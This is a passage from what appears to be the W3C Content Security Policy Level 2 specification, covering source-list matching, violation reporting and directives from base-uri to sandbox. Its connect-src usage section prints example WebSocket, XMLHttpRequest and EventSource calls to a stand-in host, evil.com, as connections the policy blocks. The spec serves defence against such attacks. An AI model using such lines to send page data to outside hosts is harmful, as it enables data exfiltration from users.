NOTE: Though IP addresses do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see §4.2.2 Matching Source Expressions for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames to IP addresses whenever possible.

4.2.1. Parsing Source Lists

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. Strip leading and trailing whitespace from source list.
  2. If source list is an ASCII case-insensitive match for the string 'none' (including the quotation marks), return the empty set.
  3. Let set of source expressions be the empty set.
  4. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  5. Return the set of source expressions.

Note: Characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you’d like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

4.2.2. Matching Source Expressions

A URL url is said to match a source expression for a protected resource if the following algorithm returns does match:

  1. Let url be the result of processing the URL through the URL parser.
  2. If the source expression a consists of a single U+002A ASTERISK character (*), and url’s scheme is not one of blob, data, filesystem, then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If url’s scheme is an ASCII case-insensitive match for the source expression’s scheme-part, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If url’s host is null, return does not match.
    2. Let url-scheme, url-host, and url-port be the scheme, host, and port of url’s origin, respectively.

      Note: If url doesn’t specify a port, then its origin’s port will be the default port for url’s scheme.

    3. Let url-path-list be the path of url.
    4. If the source expression has a scheme-part that is not a case insensitive match for url-scheme, then return does not match.
    5. If the source expression does not have a scheme, return does not match if any of the following are true:
      1. the scheme of the protected resource’s URL is a case insensitive match for HTTP, and url-scheme is not a case insensitive match for either HTTP or HTTPS
      2. the scheme of the protected resource’s URL is not a case insensitive match for HTTP, and url-scheme is not a case insensitive match for the scheme of the protected resource’s URL.
    6. If the first character of the source expression’s host-part is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of url-host, then return does not match.
    7. If the first character of the source expression’s host-part is not an U+002A ASTERISK character (*) and url-host is not a case insensitive match for the source expression’s host-part, then return does not match.
    8. If the source expression’s host-part matches the IPv4address production from [RFC3986], and is not 127.0.0.1, or is an IPv6 address, return does not match.

      Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

    9. If the source expression does not contain a port-part and url-port is not the default port for url-scheme, then return does not match.
    10. If the source expression does contain a port-part, then return does not match if both of the following are true:
      1. port-part does not contain an U+002A ASTERISK character (*)
      2. port-part does not represent the same number as url-port
    11. If the source expression contains a non-empty path-part, and the URL is not the result of a redirect, then:
      1. Let exact-match be true if the final character of path-part is not the U+002F SOLIDUS character (/), and false otherwise.
      2. Let source-expression-path-list be the result of splitting path-part on the U+002F SOLIDUS character (/).
      3. If source-expression-path-list’s length is greater than url-path-list’s length, return does not match.
      4. For each entry in source-expression-path-list:
        1. Percent decode entry.
        2. Percent decode the first item in url-path-list.
        3. If entry is not an ASCII case-insensitive match for the first item in url-path-list, return does not match.
        4. Pop the first item in url-path-list off the list.
      5. If exact-match is true, and url-path-list is not empty, return does not match.
    12. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the origin of url matches the origin of protected resource’s URL.

      Note: This includes IP addresses. That is, a document at https://111.111.111.111/ with a policy of img-src 'self' can load the image https://111.111.111.111/image.png, as the origins match.

  6. Otherwise, return does not match.

Note: This algorithm treats the URLs https://example.com/ and https://example.com./ as non-matching. This is consistent with browser behavior which treats documents served from these URLs as existing in distinct origins.

A URL url is said to match a source list for protected resource if at least one source expression in the set of source expressions obtained by parsing the source list matches url for protected resource.

Note: No URLs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

4.2.2.1. Security Considerations for GUID URL schemes

This section is not normative.

As defined above, special URL schemes that refer to specific pieces of unique content, such as "data:", "blob:" and "filesystem:" are excluded from matching a policy of * and must be explicitly listed. Policy authors should note that the content of such URLs is often derived from a response body or execution in a Document context, which may be unsafe. Especially for the default-src and script-src directives, policy authors should be aware that allowing "data:" URLs is equivalent to unsafe-inline and allowing "blob:" or "filesystem:" URLs is equivalent to unsafe-eval.

4.2.2.2. Path Matching

This section is not normative.

The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:

  1. The source expression example.com has no path, and therefore matches any file served from that host.
  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.

Note: Query strings have no impact on matching: the source expression example.com/file matches all of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.

4.2.2.3. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

  • Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.

This restriction reduces the granularity of a document’s policy when redirects are in play, which isn’t wonderful, but given that we certainly don’t want to allow brute-forcing paths after redirects, it seems a reasonable compromise.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

4.2.3. The nonce attribute

Nonce sources require a new nonce attribute to be added to both script and style elements.

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.
partial interface HTMLStyleElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.

4.2.4. Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the element’s nonce attribute after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in set of source expressions.

4.2.5. Valid Hashes

An element’s content is the script block’s source for script elements, or the value of the element’s textContent IDL attribute for non-script elements such as style.

The digest of element’s content for is the result of applying an algorithm to the element’s content.

To determine whether element has a valid hash for a set of source expressions, execute the following steps:

  1. Let hashes be a list of all hash-source expressions in set of source expressions.
  2. For each hash in hashes:
    1. Let algorithm be:
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary digest of element’s content using the algorithm algorithm.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.

Note: If an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

4.3. Media Type List Syntax

The plugin-types directive uses a value consisting of a media type list.

Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.

media-type-list   = media-type *( 1*WSP media-type )
media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>

4.3.1. Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
  3. Return the set of media types.

4.3.2. Matching

A media type matches a media type list if, and only if, the media type is an ASCII case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

4.4. Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:

  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or filesystem), then abort these steps, and return the ASCII serialization of uri’s scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri’s origin.
  3. Return uri, with any fragment component removed.

To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The originally requested URL of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URL (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation (e.g. "script-src") even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URL of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.

Note: blocked-uri will not contain the final location of a resource that was blocked after one or more redirects. It instead will contain only the location that the protected resource requested, before any redirects were followed.

To send violation reports, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URL in the set of report URLs:
    1. If the user agent has already sent a violation report for the protected resource to report URL, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URL.
    2. Queue a task to fetch report URL from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URL is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for these tasks is the Content Security Policy task source.

To report a violation, the user agent MUST:

  1. Fire a violation event at the protected resource’s Document.
  2. If the set of report URLs is non-empty, send violation reports to each.

Note: This section of the specification should not be interpreted as limiting user agents' ability to apply restrictions to violation reports in order to limit data leakage above and beyond what these algorithms specify. For example, a user agent might offer users the option of disabling reporting entirely.

5. Processing Model

To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See §7 Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URLs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource’s privileges that have been restricted in this way.

Note: User agents may allow users to modify or bypass policy enforcement through user preferences, bookmarklets, third-party additions to the user agent, and other such mechanisms.

To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are allowed, but a violation report is generated and reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator may wish to enforce one policy but experiment with a stricter policy, she can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

5.1. Workers

Whenever a user agent runs a worker:

  • If the worker’s script’s origin is a globally unique identifier (for example, the worker’s script’s URL has a scheme of data, blob, or filesystem), then:
    • If the user agent is enforcing a CSP policy for the owner document or parent worker, the user agent MUST enforce the CSP policy for the worker.
    • If the user agent is monitoring a CSP policy for the owner document or parent worker, the user agent MUST monitor the CSP policy for the worker.
  • Otherwise:
    • If the worker’s script is delivered with a Content-Security-Policy HTTP header containing the value policy, the user agent MUST enforce policy for the worker.
    • If the worker’s script is delivered with a Content-Security-Policy-Report-Only HTTP header containing the value policy, the user agent MUST monitor policy for the worker.

5.2. srcdoc IFrames

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any policies for the protected resource, the user agent MUST enforce those policies on the iframe srcdoc document as well.

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any policies for the protected resource, the user agent MUST monitor those policies on the iframe srcdoc document as well.

6. Script Interfaces

6.1. SecurityPolicyViolationEvent Interface

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};
documentURI, of type DOMString, readonly
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString, readonly
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString, readonly
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString, readonly
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString, readonly
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString, readonly
Refer to the original-policy property of violation reports for a description of this property.
statusCode, of type DOMString, readonly
Refer to the status-code property of violation reports for a description of this property.
sourceFile, of type DOMString, readonly
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long, readonly
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long, readonly
Refer to the column-number property of violation reports for a description of this property.

6.2. SecurityPolicyViolationEventInit Interface

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};
documentURI, of type DOMString
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString
Refer to the original-policy property of violation reports for a description of this property.
sourceFile, of type DOMString
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long
Refer to the column-number property of violation reports for a description of this property.

6.3. Firing Violation Events

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:

  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object’s blocked-uri key.
    • documentURI MUST be initialized to the value of report object’s document-uri key.
    • effectiveDirective MUST be initialized to the value of report object’s effective-directive key.
    • originalPolicy MUST be initialized to the value of report object’s original-policy key.
    • referrer MUST be initialized to the value of report object’s referrer key.
    • violatedDirective MUST be initialized to the value of report object’s violated-directive key.
    • sourceFile MUST be initialized to the value of report object’s source-file key.
    • lineNumber MUST be initialized to the value of report object’s line-number key.
    • columnNumber MUST be initialized to the value of report object’s column-number key.

The task source for these tasks is the Content Security Policy task source.

7. Directives

This section describes the content security policy directives introduced in this specification. Directive names are case insensitive.

In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include:

In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

7.1. base-uri

The base-uri directive restricts the URLs that can be used to specify the document base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "base-uri"
directive-value   = source-list

The term allowed base URLs refers to the result of parsing the base-uri directive’s value as a source list.

Note: base-uri does not fall back to the default sources.

Step 4 of the algorithm defined in HTML5 to obtain a document’s base URL MUST be changed to:

  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URLs for the protected resource, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.

7.2. child-src

The child-src directive governs the creation of nested browsing contexts as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "child-src"
directive-value   = source-list

The term allowed child sources refers to the result of parsing the child-src directive’s value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

7.2.1. Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the frame-src directive.

7.2.2. Workers

Whenever the user agent fetches a URL while processing the Worker or SharedWorker constructors [WORKERS], the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation if the URL does not match the allowed child sources for the protected resource.

7.3. connect-src

The connect-src directive restricts which URLs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

The term allowed connection targets refers to the result of parsing the connect-src directive’s value as a source list if the policy contains an explicit connect-src directive, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed connection targets for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.3.1. Usage

This section is not normative.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:

Content-Security-Policy: connect-src example.com

All of the following will fail with the preceding directive in place:

  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");

7.4. default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the default-src directive’s value as a source list if a default-src directive is explicitly specified, and otherwise the U+002A ASTERISK character (*).

To enforce the default-src directive, the user agent MUST enforce the following directives:

If not specified explicitly in the policy, the directives listed above will use the default sources as their source list.

7.4.1. Usage

This section is not normative.

default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they’re not otherwise explicitly set. That is, consider the following policy declaration:

Content-Security-Policy: default-src 'self'

Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.

Content-Security-Policy: default-src 'self'; script-src example.com

Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There’s no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type.

Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you’d like to protect. If you don’t use webfonts, for instance, there’s no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

7.5. font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

The term allowed font sources refers to the result of parsing the font-src directive’s value as a source list if the policy contains an explicit font-src, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed font sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for display in a font, such as when processing the <<@font-face>> Cascading Style Sheets (CSS) rule.

7.6. form-action

The form-action restricts which URLs can be used as the action of HTML form elements. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "form-action"
directive-value   = source-list

The term allowed form actions refers to the result of parsing the form-action directive’s value as a source list.

Whenever the user agent fetches a URL in the course of processing an HTML form element, if the URL does not match the allowed form actions for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation.

Note: form-action does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

7.7. frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a frame, iframe, object, embed or applet element, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing [UIREDRESS] attacks by avoiding being embedded into potentially hostile contexts.

The syntax for the name and value of the directive are described by the following ABNF grammar:

ancestor-source-list = [ ancestor-source *( 1*WSP ancestor-source ) ] / "'none'"
ancestor-source      = scheme-source / host-source

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive’s value as a source list. If a frame-ancestors directive is not explicitly included in the policy, then allowed frame ancestors is "*".

To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:

  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestors of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext’s active document.
    2. If document’s URL does not match the allowed frame ancestors for the protected resource, the user agent MUST:
      1. Abort loading the protected resource.
      2. Take one of the following actions:
        1. Act as if it received an empty HTTP 200 response.
        2. Redirect the user to a friendly error page which provides the option of opening the blocked page in a new top-level browsing context.
      3. Parse a sandboxing directive using the empty string as the input and the newly created document’s forced sandboxing flag set as the output.
      4. Report a violation.
      5. Abort these steps.

Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a normal cross-origin document’s load. If these steps are ignored, leakage of a document’s policy state is possible.

The frame-ancestors directive MUST be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

Note: frame-ancestors does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not frame-ancestors will still allow the resource to be framed from anywhere.

When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

7.7.1. Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header’s DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document’s location. This directive checks each ancestor. If any ancestor doesn’t match, the load is cancelled. [RFC7034]

The frame-ancestors directive obsoletes the X-Frame-Options header. If a resource has both policies, the frame-ancestors policy SHOULD be enforced and the X-Frame-Options policy SHOULD be ignored.

7.7.2. Multiple Host Source Values

This section is not normative.

Multiple source-list expressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application components that are multiple levels below the top-level browsing context.

Many common scenarios for permissioned embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accommodating such scenarios with a static frame-ancestors directive listing multiple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the sources necessary for each given embedding of the resource.

Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:

Content-Security-Policy: frame-ancestors https://alice https://bob

would allow Bob to re-frame Alice’s resource and create fraudulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

7.8. frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead.

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

The term allowed frame sources refers to the result of parsing the frame-src directive’s value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed frame sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.9. img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

The term allowed image sources refers to the result of parsing the img-src directive’s value as a source list if the policy contains an explicit img-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed image sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for an image, such as when processing the src or srcset attributes of an img element, the src attribute of an input element with a type of image, the poster attribute of a video element, the url(), image() or image-set() values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS4-IMAGES], or the href attribute of a link element with an image-related rel attribute, such as icon.

7.10. media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
directive-value   = source-list

The term allowed media sources refers to the result of parsing the media-src directive’s value as a source list if the policy contains an explicit media-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed media sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track element.

7.11. object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

The term allowed object sources refers to the result of parsing the object-src directive’s value as a source list if the policy contains an explicit object-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed object sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

It is not required that the consumer of the element’s data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other §7 Directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URL (e.g., because the object element lacked a data attribute), if the protected resource’s URL does not match the allowed object sources for the protected resource, the user agent MUST NOT load the plugin.

7.12. plugin-types

The plugin-types directive restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "plugin-types"
directive-value   = media-type-list

The term allowed plugin media types refers to the result of parsing the plugin-types directive’s value as a media type list.

Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold:

Note: In any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content.

Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well.

Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

7.12.1. Usage

This section is not normative.

The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:

Content-Security-Policy: plugin-types application/pdf

Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:

Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash

Note: Wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

7.12.2. Predeclaration of expected media types

This section is not normative.

Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:

<object data="resource" type="application/pdf"></object>

If resource isn’t actually a PDF file, it won’t load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended.

Note: resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

7.13. report-uri

The report-uri directive specifies a URL to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

The set of report URLs is the value of the report-uri directive, each resolved relative to the protected resource’s URL.

The process of sending violation reports to the URLs specified in this directive’s value is defined in this document’s §4.4 Reporting section.

Note: The report-uri directive will be ignored if contained within a meta element.

7.14. sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = "" / sandbox-token *( 1*WSP sandbox-token )
sandbox-token     = <token from RFC 7230>

When enforcing the sandbox directive, the user agent MUST parse a sandboxing directive using the directive-value as the input and protected resource’s forced sandboxing flag set as the output. [HTML5]

The sandbox directive will be ignored when monitoring a policy, and when contained in a policy defined via a meta element. Moreover, this directive has no effect when monitored, and has no reporting requirements.

7.14.1. Sandboxing and Workers

When delivered via an HTTP header, a Content Security Policy may indicate that sandboxing flags ought to be applied to a JavaScript execution environment that is not a Document. Of particular interest is the script content intended for use as a Worker, Shared Worker, or Service Worker. Many of the sandboxing flags do not apply to such environments, but allow-scripts and allow-same-origin have special requirements.

When a resource is loaded while executing the runs a Worker algorithm, the user agent MUST act as if there was a fatal network error and no resource could be obtained if either of the following conditions holds:

  1. The sandbox directive delivered with the resource does not contain the allow-scripts flag.
  2. The sandbox directive delivered with the resource does not contain the allow-same-origin flag, and the creation of the new execution context requires it to be same-origin with its creating context.

7.14.2. Usage

This section is not normative.

